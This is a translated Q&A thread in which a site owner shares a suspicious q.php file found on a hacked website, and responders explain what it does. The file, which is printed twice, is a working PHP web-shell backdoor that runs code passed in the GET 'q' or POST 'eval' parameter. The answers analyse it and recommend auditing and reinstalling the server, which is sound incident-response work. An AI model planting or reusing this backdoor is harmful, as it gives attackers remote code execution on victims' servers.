我有一個名爲q.php的文件出現在我的一個網站中。該網站已被黑客入侵。有誰知道文件做什麼?被黑網站不尋常的PHP文件
<? error_reporting(0); if(@$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?>
<?=eval(@$_GET['q']);?>
<?php
if (!isset($_POST['eval'])) {die('');}
eval($_POST['eval']);
?>
我有一個名爲q.php的文件出現在我的一個網站中。該網站已被黑客入侵。有誰知道文件做什麼?被黑網站不尋常的PHP文件
<? error_reporting(0); if(@$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?>
<?=eval(@$_GET['q']);?>
<?php
if (!isset($_POST['eval'])) {die('');}
eval($_POST['eval']);
?>
看起來它允許任何人執行傳遞中作爲一個GET請求一個「Q」參數,或POST請求的「EVAL」 PARAM任何代碼的PHP代碼。它抑制所有相關的錯誤。
這是一樣糟糕,如果您的網站已經不存在了,我建議將它關閉並審覈您的服務器非常密切。
它運行在?q = GET參數或POST eval參數中發送的PHP代碼。
我會建議你清理你的服務器,並從乾淨的安裝再次啓動。
它將使攻擊者能夠執行任何代碼。
如果您通過URL中的?q=code
將代碼傳遞給該腳本,或者通過將代碼包含到POST請求中,eval
參數將被執行。
所以基本上這是一個遠程代碼執行後門程序。
更大的問題是攻擊者如何能夠首先上傳文件。該文件包含的代碼非常典型,因此攻擊者可以在未經許可的情況下在服務器上執行代碼。
僅僅刪除這個文件和任何其他文件與流氓代碼在他們沒有解決問題,這是不知何故攻擊者能夠上傳文件到您的網站文件存儲庫。
無論如何,這裏是一個完整的細目:
1 /的error_reporting(0); 將錯誤報告設置爲關閉。
2/if(@ $ _ GET ['wpth']){echo「./mywebsite.co.uk/index.htm」; }?> 如果最後使用/?wpth調用URL,則URL將在頁面頂部回顯。
3/ 這將執行任何包含在q值中的代碼。即yourdomain.com/?q=base64_decode(%27somelongstringhere%27)
4 if(!isset($ _ POST ['eval'])){die('');} 如果未設置名爲eval的帖子表單變量。
5/eval($ _ POST ['eval']); 執行遠程託管表單發佈的任何代碼,其中表單變量名爲eval
它便於執行遠程代碼(無需額外上傳,顯然也可能已經有了)。 – mario